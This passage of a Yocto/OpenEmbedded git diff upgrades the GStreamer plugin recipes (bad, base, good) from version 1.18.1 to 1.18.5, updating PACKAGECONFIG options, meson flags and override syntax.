-PACKAGECONFIG[resindvd] = "-Dresindvd=enabled,-Dresindvd=disabled,libdvdread libdvdnav"
-PACKAGECONFIG[rsvg] = "-Drsvg=enabled,-Drsvg=disabled,librsvg"
-PACKAGECONFIG[rtmp] = "-Drtmp=enabled,-Drtmp=disabled,rtmpdump"
-PACKAGECONFIG[sbc] = "-Dsbc=enabled,-Dsbc=disabled,sbc"
-PACKAGECONFIG[sctp] = "-Dsctp=enabled,-Dsctp=disabled,usrsctp"
-PACKAGECONFIG[smoothstreaming] = "-Dsmoothstreaming=enabled,-Dsmoothstreaming=disabled,libxml2"
-PACKAGECONFIG[sndfile] = "-Dsndfile=enabled,-Dsndfile=disabled,libsndfile1"
-PACKAGECONFIG[srt] = "-Dsrt=enabled,-Dsrt=disabled,srt"
-PACKAGECONFIG[srtp] = "-Dsrtp=enabled,-Dsrtp=disabled,libsrtp"
-PACKAGECONFIG[tinyalsa] = "-Dtinyalsa=enabled,-Dtinyalsa=disabled,tinyalsa"
-PACKAGECONFIG[ttml] = "-Dttml=enabled,-Dttml=disabled,libxml2 pango cairo"
-PACKAGECONFIG[uvch264] = "-Duvch264=enabled,-Duvch264=disabled,libusb1 libgudev"
-PACKAGECONFIG[va] = "-Dva=enabled,-Dva=disabled,libva"
-PACKAGECONFIG[voaacenc] = "-Dvoaacenc=enabled,-Dvoaacenc=disabled,vo-aacenc"
-PACKAGECONFIG[voamrwbenc] = "-Dvoamrwbenc=enabled,-Dvoamrwbenc=disabled,vo-amrwbenc"
-PACKAGECONFIG[vulkan] = "-Dvulkan=enabled,-Dvulkan=disabled,vulkan-loader shaderc-native"
-PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,wayland-native wayland wayland-protocols libdrm"
-PACKAGECONFIG[webp] = "-Dwebp=enabled,-Dwebp=disabled,libwebp"
-PACKAGECONFIG[webrtc] = "-Dwebrtc=enabled,-Dwebrtc=disabled,libnice"
-PACKAGECONFIG[webrtcdsp] = "-Dwebrtcdsp=enabled,-Dwebrtcdsp=disabled,webrtc-audio-processing"
-PACKAGECONFIG[zbar] = "-Dzbar=enabled,-Dzbar=disabled,zbar"
-PACKAGECONFIG[v4l2codecs] = "-D-Dv4l2codecs=enabled,-Dv4l2codecs=disabled,libgudev"
-
-# these plugins currently have no corresponding library in OE-core or meta-openembedded:
-# aom androidmedia applemedia bs2b chromaprint d3dvideosink
-# directsound dts fdkaac gme gsm iq kate ladspa lv2 mpeg2enc
-# mplex musepack nvdec nvenc ofa openexr openni2 opensles
-# soundtouch spandsp teletext wasapi wildmidi winks
-# winscreencap wpe x265
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Ddecklink=enabled \
- -Ddvb=enabled \
- -Dfbdev=enabled \
- -Dipcpipeline=enabled \
- -Dnetsim=enabled \
- -Dshm=enabled \
- -Daom=disabled \
- -Dandroidmedia=disabled \
- -Dapplemedia=disabled \
- -Davtp=disabled \
- -Dbs2b=disabled \
- -Dchromaprint=disabled \
- -Dd3dvideosink=disabled \
- -Dd3d11=disabled \
- -Ddirectsound=disabled \
- -Ddts=disabled \
- -Dfdkaac=disabled \
- -Dflite=disabled \
- -Dgme=disabled \
- -Dgsm=disabled \
- -Diqa=disabled \
- -Dkate=disabled \
- -Dladspa=disabled \
- -Dlv2=disabled \
- -Dmagicleap=disabled \
- -Dmediafoundation=disabled \
- -Dmicrodns=disabled \
- -Dmpeg2enc=disabled \
- -Dmplex=disabled \
- -Dmusepack=disabled \
- -Dnvcodec=disabled \
- -Dofa=disabled \
- -Dopenexr=disabled \
- -Dopenni2=disabled \
- -Dopensles=disabled \
- -Dsoundtouch=disabled \
- -Dspandsp=disabled \
- -Dsvthevcenc=disabled \
- -Dteletext=disabled \
- -Dwasapi=disabled \
- -Dwasapi2=disabled \
- -Dwildmidi=disabled \
- -Dwinks=disabled \
- -Dwinscreencap=disabled \
- -Dwpe=disabled \
- -Dx265=disabled \
- -Dzxing=disabled \
-"
-
-export OPENCV_PREFIX = "${STAGING_DIR_TARGET}${prefix}"
-
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-FILES_${PN}-freeverb += "${datadir}/gstreamer-1.0/presets/GstFreeverb.prs"
-FILES_${PN}-opencv += "${datadir}/gst-plugins-bad/1.0/opencv*"
-FILES_${PN}-transcode += "${datadir}/gstreamer-1.0/encoding-profiles"
-FILES_${PN}-voamrwbenc += "${datadir}/gstreamer-1.0/presets/GstVoAmrwbEnc.prs"
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.5.bb
new file mode 100644
index 0000000000..f90dff693d
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.5.bb
@@ -0,0 +1,160 @@
+require gstreamer1.0-plugins-common.inc
+
+DESCRIPTION = "'Bad' GStreamer plugins and helper libraries "
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-bad/-/issues"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${PV}.tar.xz \
+ file://0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch \
+ file://0002-avoid-including-sys-poll.h-directly.patch \
+ file://0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch \
+ file://0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch \
+ file://0005-msdk-fix-includedir-path.patch \
+ "
+SRC_URI[sha256sum] = "a164923b94f0d08578a6fcaeaac6e0c05da788a46903a1086870e9ca45ad678e"
+
+S = "${WORKDIR}/gst-plugins-bad-${PV}"
+
+LICENSE = "GPLv2+ & LGPLv2+ & LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+# remove at next version upgrade or when output changes
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".1"
+
+DEPENDS += "gstreamer1.0-plugins-base"
+
+inherit gobject-introspection
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'directfb vulkan x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gl', '', d)} \
+ bz2 closedcaption curl dash dtls hls openssl sbc smoothstreaming \
+ sndfile ttml uvch264 webp \
+ ${@bb.utils.contains('TUNE_FEATURES', 'mx32', '', 'rsvg', d)} \
+"
+
+PACKAGECONFIG[aom] = "-Daom=enabled,-Daom=disabled,aom"
+PACKAGECONFIG[assrender] = "-Dassrender=enabled,-Dassrender=disabled,libass"
+PACKAGECONFIG[bluez] = "-Dbluez=enabled,-Dbluez=disabled,bluez5"
+PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
+PACKAGECONFIG[closedcaption] = "-Dclosedcaption=enabled,-Dclosedcaption=disabled,pango cairo"
+PACKAGECONFIG[curl] = "-Dcurl=enabled,-Dcurl=disabled,curl"
+PACKAGECONFIG[dash] = "-Ddash=enabled,-Ddash=disabled,libxml2"
+PACKAGECONFIG[dc1394] = "-Ddc1394=enabled,-Ddc1394=disabled,libdc1394"
+PACKAGECONFIG[directfb] = "-Ddirectfb=enabled,-Ddirectfb=disabled,directfb"
+PACKAGECONFIG[dtls] = "-Ddtls=enabled,-Ddtls=disabled,openssl"
+PACKAGECONFIG[faac] = "-Dfaac=enabled,-Dfaac=disabled,faac"
+PACKAGECONFIG[faad] = "-Dfaad=enabled,-Dfaad=disabled,faad2"
+PACKAGECONFIG[fluidsynth] = "-Dfluidsynth=enabled,-Dfluidsynth=disabled,fluidsynth"
+PACKAGECONFIG[hls] = "-Dhls=enabled,-Dhls=disabled,"
+# Pick atleast one crypto backend below when enabling hls
+PACKAGECONFIG[nettle] = "-Dhls-crypto=nettle,,nettle"
+PACKAGECONFIG[openssl] = "-Dhls-crypto=openssl,,openssl"
+PACKAGECONFIG[gcrypt] = "-Dhls-crypto=libgcrypt,,libgcrypt"
+# the gl packageconfig enables OpenGL elements that haven't been ported
+# to -base yet. They depend on the gstgl library in -base, so we do
+# not add GL dependencies here, since these are taken care of in -base.
+PACKAGECONFIG[gl] = "-Dgl=enabled,-Dgl=disabled,"
+PACKAGECONFIG[kms] = "-Dkms=enabled,-Dkms=disabled,libdrm"
+PACKAGECONFIG[libde265] = "-Dlibde265=enabled,-Dlibde265=disabled,libde265"
+PACKAGECONFIG[libmms] = "-Dlibmms=enabled,-Dlibmms=disabled,libmms"
+PACKAGECONFIG[libssh2] = "-Dcurl-ssh2=enabled,-Dcurl-ssh2=disabled,libssh2"
+PACKAGECONFIG[lcms2] = "-Dcolormanagement=enabled,-Dcolormanagement=disabled,lcms"
+PACKAGECONFIG[modplug] = "-Dmodplug=enabled,-Dmodplug=disabled,libmodplug"
+PACKAGECONFIG[msdk] = "-Dmsdk=enabled,-Dmsdk=disabled,intel-mediasdk"
+PACKAGECONFIG[neon] = "-Dneon=enabled,-Dneon=disabled,neon"
+PACKAGECONFIG[openal] = "-Dopenal=enabled,-Dopenal=disabled,openal-soft"
+PACKAGECONFIG[opencv] = "-Dopencv=enabled,-Dopencv=disabled,opencv"
+PACKAGECONFIG[openh264] = "-Dopenh264=enabled,-Dopenh264=disabled,openh264"
+PACKAGECONFIG[openjpeg] = "-Dopenjpeg=enabled,-Dopenjpeg=disabled,openjpeg"
+PACKAGECONFIG[openmpt] = "-Dopenmpt=enabled,-Dopenmpt=disabled,libopenmpt"
+# the opus encoder/decoder elements are now in the -base package,
+# but the opus parser remains in -bad
+PACKAGECONFIG[opusparse] = "-Dopus=enabled,-Dopus=disabled,libopus"
+PACKAGECONFIG[resindvd] = "-Dresindvd=enabled,-Dresindvd=disabled,libdvdread libdvdnav"
+PACKAGECONFIG[rsvg] = "-Drsvg=enabled,-Drsvg=disabled,librsvg"
+PACKAGECONFIG[rtmp] = "-Drtmp=enabled,-Drtmp=disabled,rtmpdump"
+PACKAGECONFIG[sbc] = "-Dsbc=enabled,-Dsbc=disabled,sbc"
+PACKAGECONFIG[sctp] = "-Dsctp=enabled,-Dsctp=disabled"
+PACKAGECONFIG[smoothstreaming] = "-Dsmoothstreaming=enabled,-Dsmoothstreaming=disabled,libxml2"
+PACKAGECONFIG[sndfile] = "-Dsndfile=enabled,-Dsndfile=disabled,libsndfile1"
+PACKAGECONFIG[srt] = "-Dsrt=enabled,-Dsrt=disabled,srt"
+PACKAGECONFIG[srtp] = "-Dsrtp=enabled,-Dsrtp=disabled,libsrtp"
+PACKAGECONFIG[tinyalsa] = "-Dtinyalsa=enabled,-Dtinyalsa=disabled,tinyalsa"
+PACKAGECONFIG[ttml] = "-Dttml=enabled,-Dttml=disabled,libxml2 pango cairo"
+PACKAGECONFIG[uvch264] = "-Duvch264=enabled,-Duvch264=disabled,libusb1 libgudev"
+PACKAGECONFIG[v4l2codecs] = "-Dv4l2codecs=enabled,-Dv4l2codecs=disabled,libgudev"
+PACKAGECONFIG[va] = "-Dva=enabled,-Dva=disabled,libva"
+PACKAGECONFIG[voaacenc] = "-Dvoaacenc=enabled,-Dvoaacenc=disabled,vo-aacenc"
+PACKAGECONFIG[voamrwbenc] = "-Dvoamrwbenc=enabled,-Dvoamrwbenc=disabled,vo-amrwbenc"
+PACKAGECONFIG[vulkan] = "-Dvulkan=enabled,-Dvulkan=disabled,vulkan-loader shaderc-native"
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,wayland-native wayland wayland-protocols libdrm"
+PACKAGECONFIG[webp] = "-Dwebp=enabled,-Dwebp=disabled,libwebp"
+PACKAGECONFIG[webrtc] = "-Dwebrtc=enabled,-Dwebrtc=disabled,libnice"
+PACKAGECONFIG[webrtcdsp] = "-Dwebrtcdsp=enabled,-Dwebrtcdsp=disabled,webrtc-audio-processing"
+PACKAGECONFIG[zbar] = "-Dzbar=enabled,-Dzbar=disabled,zbar"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,libxcb libxkbcommon"
+PACKAGECONFIG[x265] = "-Dx265=enabled,-Dx265=disabled,x265"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Ddecklink=enabled \
+ -Ddvb=enabled \
+ -Dfbdev=enabled \
+ -Dipcpipeline=enabled \
+ -Dshm=enabled \
+ -Dtranscode=enabled \
+ -Dandroidmedia=disabled \
+ -Dapplemedia=disabled \
+ -Davtp=disabled \
+ -Dbs2b=disabled \
+ -Dchromaprint=disabled \
+ -Dd3dvideosink=disabled \
+ -Dd3d11=disabled \
+ -Ddirectsound=disabled \
+ -Ddts=disabled \
+ -Dfdkaac=disabled \
+ -Dflite=disabled \
+ -Dgme=disabled \
+ -Dgsm=disabled \
+ -Diqa=disabled \
+ -Dkate=disabled \
+ -Dladspa=disabled \
+ -Dlv2=disabled \
+ -Dmagicleap=disabled \
+ -Dmediafoundation=disabled \
+ -Dmicrodns=disabled \
+ -Dmpeg2enc=disabled \
+ -Dmplex=disabled \
+ -Dmusepack=disabled \
+ -Dnvcodec=disabled \
+ -Dofa=disabled \
+ -Dopenexr=disabled \
+ -Dopenni2=disabled \
+ -Dopensles=disabled \
+ -Dsoundtouch=disabled \
+ -Dspandsp=disabled \
+ -Dsvthevcenc=disabled \
+ -Dteletext=disabled \
+ -Dwasapi=disabled \
+ -Dwasapi2=disabled \
+ -Dwildmidi=disabled \
+ -Dwinks=disabled \
+ -Dwinscreencap=disabled \
+ -Dwpe=disabled \
+ -Dzxing=disabled \
+"
+
+export OPENCV_PREFIX = "${STAGING_DIR_TARGET}${prefix}"
+
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+FILES:${PN}-freeverb += "${datadir}/gstreamer-1.0/presets/GstFreeverb.prs"
+FILES:${PN}-opencv += "${datadir}/gst-plugins-bad/1.0/opencv*"
+FILES:${PN}-transcode += "${datadir}/gstreamer-1.0/encoding-profiles"
+FILES:${PN}-voamrwbenc += "${datadir}/gstreamer-1.0/presets/GstVoAmrwbEnc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.1.bb
deleted file mode 100644
index 1b2bd4fe14..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.1.bb
+++ /dev/null
@@ -1,94 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${PV}.tar.xz \
- file://0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch \
- file://0003-viv-fb-Make-sure-config.h-is-included.patch \
- file://0002-ssaparse-enhance-SSA-text-lines-parsing.patch \
- file://0004-glimagesink-Downrank-to-marginal.patch \
- "
-SRC_URI[sha256sum] = "1ba654d7de30f7284b4c7071b32f881b609733ce02ab6d9d9ea29386a036c641"
-
-S = "${WORKDIR}/gst-plugins-base-${PV}"
-
-DEPENDS += "iso-codes util-linux zlib"
-
-inherit gobject-introspection
-
-PACKAGES_DYNAMIC =+ "^libgst.*"
-
-# opengl packageconfig factored out to make it easy for distros
-# and BSP layers to choose OpenGL APIs/platforms/window systems
-PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gles2 egl', '', d)}"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa x11', d)} \
- jpeg ogg pango png theora vorbis \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland egl', '', d)} \
-"
-
-OPENGL_APIS = 'opengl gles2'
-OPENGL_PLATFORMS = 'egl'
-
-X11DEPENDS = "virtual/libx11 libsm libxrender libxv"
-X11ENABLEOPTS = "-Dx11=enabled -Dxvideo=enabled -Dxshm=enabled"
-X11DISABLEOPTS = "-Dx11=disabled -Dxvideo=disabled -Dxshm=disabled"
-
-PACKAGECONFIG[alsa] = "-Dalsa=enabled,-Dalsa=disabled,alsa-lib"
-PACKAGECONFIG[cdparanoia] = "-Dcdparanoia=enabled,-Dcdparanoia=disabled,cdparanoia"
-PACKAGECONFIG[jpeg] = "-Dgl-jpeg=enabled,-Dgl-jpeg=disabled,jpeg"
-PACKAGECONFIG[ogg] = "-Dogg=enabled,-Dogg=disabled,libogg"
-PACKAGECONFIG[opus] = "-Dopus=enabled,-Dopus=disabled,libopus"
-PACKAGECONFIG[pango] = "-Dpango=enabled,-Dpango=disabled,pango"
-PACKAGECONFIG[png] = "-Dgl-png=enabled,-Dgl-png=disabled,libpng"
-PACKAGECONFIG[theora] = "-Dtheora=enabled,-Dtheora=disabled,libtheora"
-PACKAGECONFIG[tremor] = "-Dtremor=enabled,-Dtremor=disabled,tremor"
-PACKAGECONFIG[visual] = "-Dlibvisual=enabled,-Dlibvisual=disabled,libvisual"
-PACKAGECONFIG[vorbis] = "-Dvorbis=enabled,-Dvorbis=disabled,libvorbis"
-PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
-
-# OpenGL API packageconfigs
-PACKAGECONFIG[opengl] = ",,virtual/libgl libglu"
-PACKAGECONFIG[gles2] = ",,virtual/libgles2"
-
-# OpenGL platform packageconfigs
-PACKAGECONFIG[egl] = ",,virtual/egl"
-
-# OpenGL window systems (except for X11)
-PACKAGECONFIG[gbm] = ",,virtual/libgbm libgudev libdrm"
-PACKAGECONFIG[wayland] = ",,wayland-native wayland wayland-protocols libdrm"
-PACKAGECONFIG[dispmanx] = ",,virtual/libomxil"
-
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'x11', ' x11', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'gbm', ' gbm', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'wayland', ' wayland', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'dispmanx', ' dispmanx', '', d)}"
-OPENGL_WINSYS_append = "${@bb.utils.contains('PACKAGECONFIG', 'egl', ' egl', '', d)}"
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Dgl-graphene=disabled \
- ${@get_opengl_cmdline_list('gl_api', d.getVar('OPENGL_APIS'), d)} \
- ${@get_opengl_cmdline_list('gl_platform', d.getVar('OPENGL_PLATFORMS'), d)} \
- ${@get_opengl_cmdline_list('gl_winsys', d.getVar('OPENGL_WINSYS'), d)} \
-"
-
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/include/gst/gl/gstglconfig.h"
-FILES_${MLPREFIX}libgsttag-1.0 += "${datadir}/gst-plugins-base/1.0/license-translations.dict"
-
-def get_opengl_cmdline_list(switch_name, options, d):
- selected_options = []
- if bb.utils.contains('DISTRO_FEATURES', 'opengl', True, False, d):
- for option in options.split():
- if bb.utils.contains('PACKAGECONFIG', option, True, False, d):
- selected_options += [option]
- if selected_options:
- return '-D' + switch_name + '=' + ','.join(selected_options)
- else:
- return ''
-
-CVE_PRODUCT += "gst-plugins-base"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.5.bb
new file mode 100644
index 0000000000..180241828f
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.18.5.bb
@@ -0,0 +1,94 @@
+require gstreamer1.0-plugins-common.inc
+
+DESCRIPTION = "'Base' GStreamer plugins and helper libraries"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-base/-/issues"
+LICENSE = "GPLv2+ & LGPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${PV}.tar.xz \
+ file://0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch \
+ file://0003-viv-fb-Make-sure-config.h-is-included.patch \
+ file://0002-ssaparse-enhance-SSA-text-lines-parsing.patch \
+ file://0004-glimagesink-Downrank-to-marginal.patch \
+ "
+SRC_URI[sha256sum] = "960b7af4585700db0fdd5b843554e11e2564fed9e061f591fae88a7be6446fa3"
+
+S = "${WORKDIR}/gst-plugins-base-${PV}"
+
+DEPENDS += "iso-codes util-linux zlib"
+
+inherit gobject-introspection
+
+PACKAGES_DYNAMIC =+ "^libgst.*"
+
+# opengl packageconfig factored out to make it easy for distros
+# and BSP layers to choose OpenGL APIs/platforms/window systems
+PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gles2 egl', '', d)}"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa x11', d)} \
+ jpeg ogg pango png theora vorbis \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland egl', '', d)} \
+"
+
+OPENGL_APIS = 'opengl gles2'
+OPENGL_PLATFORMS = 'egl'
+
+X11DEPENDS = "virtual/libx11 libsm libxrender libxv"
+X11ENABLEOPTS = "-Dx11=enabled -Dxvideo=enabled -Dxshm=enabled"
+X11DISABLEOPTS = "-Dx11=disabled -Dxvideo=disabled -Dxshm=disabled"
+
+PACKAGECONFIG[alsa] = "-Dalsa=enabled,-Dalsa=disabled,alsa-lib"
+PACKAGECONFIG[cdparanoia] = "-Dcdparanoia=enabled,-Dcdparanoia=disabled,cdparanoia"
+PACKAGECONFIG[graphene] = "-Dgl-graphene=enabled,-Dgl-graphene=disabled,graphene"
+PACKAGECONFIG[jpeg] = "-Dgl-jpeg=enabled,-Dgl-jpeg=disabled,jpeg"
+PACKAGECONFIG[ogg] = "-Dogg=enabled,-Dogg=disabled,libogg"
+PACKAGECONFIG[opus] = "-Dopus=enabled,-Dopus=disabled,libopus"
+PACKAGECONFIG[pango] = "-Dpango=enabled,-Dpango=disabled,pango"
+PACKAGECONFIG[png] = "-Dgl-png=enabled,-Dgl-png=disabled,libpng"
+PACKAGECONFIG[theora] = "-Dtheora=enabled,-Dtheora=disabled,libtheora"
+PACKAGECONFIG[tremor] = "-Dtremor=enabled,-Dtremor=disabled,tremor"
+PACKAGECONFIG[visual] = "-Dlibvisual=enabled,-Dlibvisual=disabled,libvisual"
+PACKAGECONFIG[vorbis] = "-Dvorbis=enabled,-Dvorbis=disabled,libvorbis"
+PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
+
+# OpenGL API packageconfigs
+PACKAGECONFIG[opengl] = ",,virtual/libgl libglu"
+PACKAGECONFIG[gles2] = ",,virtual/libgles2"
+
+# OpenGL platform packageconfigs
+PACKAGECONFIG[egl] = ",,virtual/egl"
+
+# OpenGL window systems (except for X11)
+PACKAGECONFIG[gbm] = ",,virtual/libgbm libgudev libdrm"
+PACKAGECONFIG[wayland] = ",,wayland-native wayland wayland-protocols libdrm"
+PACKAGECONFIG[dispmanx] = ",,virtual/libomxil"
+PACKAGECONFIG[viv-fb] = ",,virtual/libgles2 virtual/libg2d"
+
+OPENGL_WINSYS = "${@bb.utils.filter('PACKAGECONFIG', 'x11 gbm wayland dispmanx egl viv-fb', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ ${@get_opengl_cmdline_list('gl_api', d.getVar('OPENGL_APIS'), d)} \
+ ${@get_opengl_cmdline_list('gl_platform', d.getVar('OPENGL_PLATFORMS'), d)} \
+ ${@get_opengl_cmdline_list('gl_winsys', d.getVar('OPENGL_WINSYS'), d)} \
+"
+
+FILES:${PN}-dev += "${libdir}/gstreamer-1.0/include/gst/gl/gstglconfig.h"
+FILES:${MLPREFIX}libgsttag-1.0 += "${datadir}/gst-plugins-base/1.0/license-translations.dict"
+
+def get_opengl_cmdline_list(switch_name, options, d):
+ selected_options = []
+ if bb.utils.contains('DISTRO_FEATURES', 'opengl', True, False, d):
+ for option in options.split():
+ if bb.utils.contains('PACKAGECONFIG', option, True, False, d):
+ selected_options += [option]
+ if selected_options:
+ return '-D' + switch_name + '=' + ','.join(selected_options)
+ else:
+ return ''
+
+CVE_PRODUCT += "gst-plugins-base"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
index dba96e0f6e..54dd92873f 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
@@ -21,7 +21,7 @@ GSTREAMER_ORC ?= "orc"
# workaround to disable orc on mips to fix the build failure
# {standard input}: Assembler messages:
# {standard input}:46587: Error: branch out of range
-GSTREAMER_ORC_mips = ""
+GSTREAMER_ORC:mips = ""
PACKAGECONFIG[orc] = "-Dorc=enabled,-Dorc=disabled,orc orc-native"
# TODO: put this in a gettext.bbclass patch (with variables to allow for
@@ -45,6 +45,3 @@ EXTRA_OEMESON += " \
GIR_MESON_ENABLE_FLAG = "enabled"
GIR_MESON_DISABLE_FLAG = "disabled"
-
-# Dynamically generate packages for all enabled plugins
-PACKAGES_DYNAMIC = "^${PN}-.*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-rpicamsrc-add-vchostif-library-as-it-is-required-to-.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-rpicamsrc-add-vchostif-library-as-it-is-required-to-.patch
deleted file mode 100644
index 685ee08e50..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-rpicamsrc-add-vchostif-library-as-it-is-required-to-.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 3ec4fe5507a39383b161f1ab7687acb4a57c32f8 Mon Sep 17 00:00:00 2001
-From: Jose Quaresma <quaresma.jose@gmail.com>
-Date: Sun, 15 Nov 2020 11:30:07 +0000
-Subject: [PATCH] rpicamsrc: add vchostif library as it is required to build
- successful
-
-fix: undefined reference to `vc_gencmd'
-/usr/src/debug/gstreamer1.0-plugins-good/1.18.1-r0/build/../gst-plugins-good-1.18.1/sys/rpicamsrc/RaspiCamControl.c:1440: undefined reference to `vc_gencmd'
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gst-plugins-good/-/merge_requests/818]
-
-Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
----
- sys/rpicamsrc/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sys/rpicamsrc/meson.build b/sys/rpicamsrc/meson.build
-index dc18a8345..48b2ceb66 100644
---- a/sys/rpicamsrc/meson.build
-+++ b/sys/rpicamsrc/meson.build
-@@ -34,7 +34,7 @@ if not cc.has_header('bcm_host.h', args: rpi_inc_args)
- endif
-
- mmal_deps = []
--foreach rpi_lib : ['mmal_core', 'mmal_util', 'mmal_vc_client', 'vcos', 'bcm_host']
-+foreach rpi_lib : ['mmal_core', 'mmal_util', 'mmal_vc_client', 'vcos', 'vchostif', 'bcm_host']
- l = cc.find_library(rpi_lib, dirs: rpi_lib_path, required: false)
- if not l.found()
- if get_option('rpicamsrc').enabled()
---
-2.29.2
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.1.bb
deleted file mode 100644
index 77e1333ddc..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.18.1.bb
+++ /dev/null
@@ -1,73 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${PV}.tar.xz \
- file://0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch \
- file://0001-rpicamsrc-add-vchostif-library-as-it-is-required-to-.patch \
- "
-
-SRC_URI[sha256sum] = "e210e91a5590ecb6accc9d06c949a58ca6897d8edb3b3d55828e424c624f626c"
-
-S = "${WORKDIR}/gst-plugins-good-${PV}"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://gst/replaygain/rganalysis.c;beginline=1;endline=23;md5=b60ebefd5b2f5a8e0cab6bfee391a5fe"
-
-DEPENDS += "gstreamer1.0-plugins-base libcap zlib"
-RPROVIDES_${PN}-pulseaudio += "${PN}-pulse"
-RPROVIDES_${PN}-soup += "${PN}-souphttpsrc"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio x11', d)} \
- ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'asm', '', d)} \
- bz2 cairo flac gdk-pixbuf gudev jpeg lame libpng mpg123 soup speex taglib v4l2 \
-"
-
